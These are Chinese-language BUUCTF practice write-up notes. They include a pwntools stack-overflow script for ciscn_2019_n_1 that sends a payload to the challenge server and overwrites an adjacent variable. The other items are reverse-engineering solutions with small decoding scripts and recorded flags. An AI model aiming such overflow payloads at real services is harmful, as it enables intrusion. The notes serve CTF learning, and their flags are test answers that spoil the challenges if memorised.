1.BUUCTF
ciscn_2019_n_1
检查程序的保护机制。
IDA中查到关键代码块为func函数。
危险函数gets,v1长度也只有44,可以栈溢出。v1和v2定义在一起的,所以应把v1填满,再将v2填为11.28125(0x41348000)。
//python3
from pwn import *
ctf=remote('node4.buuoj.cn',28098)#建立连接
payload='a'*44 + p64(0x41348000).decode('unicode_escape')
flag=str.encode(payload)
ctf.sendline(flag)
ctf.interactive()
这里跑不出flag,看了wp也没找出程序有啥问题。
reverse2
放进IDA,找到关键代码块。
把i和r换为1。
shift+F12找到疑似flag。
所以最后的flag就是flag{hack1ng_fo1_fun}。
内涵的软件
先用exeinfo查看一下程序的基本信息。
32位的文件,使用IDA PRO(32-bit)打开文件,flag就在眼前了。
新年快乐
32位,有壳,UPX压缩壳,使用upx直接脱壳即可。
然后在ida中查看,得到flag。
xor
要求输入一个长度为33的字符串,然后进行操作:
b[1]=b[1]^b[0],
b[2]=b[2]^b[1],
...
b[32]=b[32]^b[31]
然后和global比较前33位字符,要求相同。接下来要找到global的值。
再次双击进去。
可以得到global的33个字符为['f',0xA,'k',0xC,'w','&','O','.','@',0x11,'x',0xD,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0xE,'g',6,'h',0xF,'G','2','O']。
我们需要构造一个字符串,使此串进行了上述操作后刚好与global相同。进行反推,可得:
b[32]=O^b[31],
b[31]=2^b[30],
...
b[1]=0xA^b[0],
b[0]=f
构造脚本如下:
//python3
global_list=['f',0xA,'k',0xC,'w','&','O','.','@',0x11,'x',0xD,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0xE,'g',6,'h',0xF,'G','2','O']
flag='f'
for i in range(1,33):
if(isinstance(global_list[i],int)):
global_list[i]=chr(global_list[i])
flag+=chr(ord(global_list[i-1])^ord(global_list[i]))
print(flag)
helloword
使用JEB反编译apk文件,直接查找即可。
reverse3
32位文件,无壳。
关键代码块:
代码逻辑很清晰,把输入的串通过sub_4110BE函数,再过一个for循环,然后跟str2("e3nifIH9b_C@n@dH")比较。
查看sub_4110BE函数,发现一个叫aAbcdefghijklmn的变量,查看。
这是base64的字符集合,可以确定这个函数的作用就是base64加密。
后面的for循环也很简单,写个py脚本得出for循环之前的串,再拿去base解码就行了。
//python3
s='e3nifIH9b_C@n@dH'
s_list=list(s)
for i in range(0,16):
s_list[i]=chr(ord(s_list[i])-i)
s=''.join(s_list)
print(s)